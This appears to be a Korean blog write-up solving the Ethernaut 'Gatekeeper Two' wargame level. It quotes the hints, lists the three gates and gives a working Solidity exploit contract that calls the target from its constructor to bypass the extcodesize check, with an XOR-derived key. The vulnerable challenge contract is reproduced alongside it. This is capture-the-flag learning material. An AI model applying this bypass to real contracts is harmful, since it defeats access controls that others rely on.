This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:
Remember what you've learned from getting past the first gatekeeper - the first gate is the same.
The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See Solidity Assembly for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see Solidity cheatsheet). The Coin Flip level is also a good place to start when approaching this challenge.
위의 문제 힌트를 보니까
1. sender와 origin 다르게 만들기
2. 솔리디티 assembly
3. 비트연산 조건문 통과 (XOR)
2번에서 어떻게 해야되는지 좀 막혀서
https://medium.com/coinmonks/ethernaut-lvl-14-gatekeeper-2-walkthrough-how-contracts-initialize-and-how-to-do-bitwise-ddac8ad4f0fd
참고함
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract POC {
address public challengeInstance;
constructor() public {
challengeInstance = address(0xe10657eeB6488D59e2F6146dDd2FE659F0326661);
uint64 key = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max;
(bool result,) = challengeInstance.call(abi.encodeWithSignature("enter(bytes8)",bytes8(key)));
}
}
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}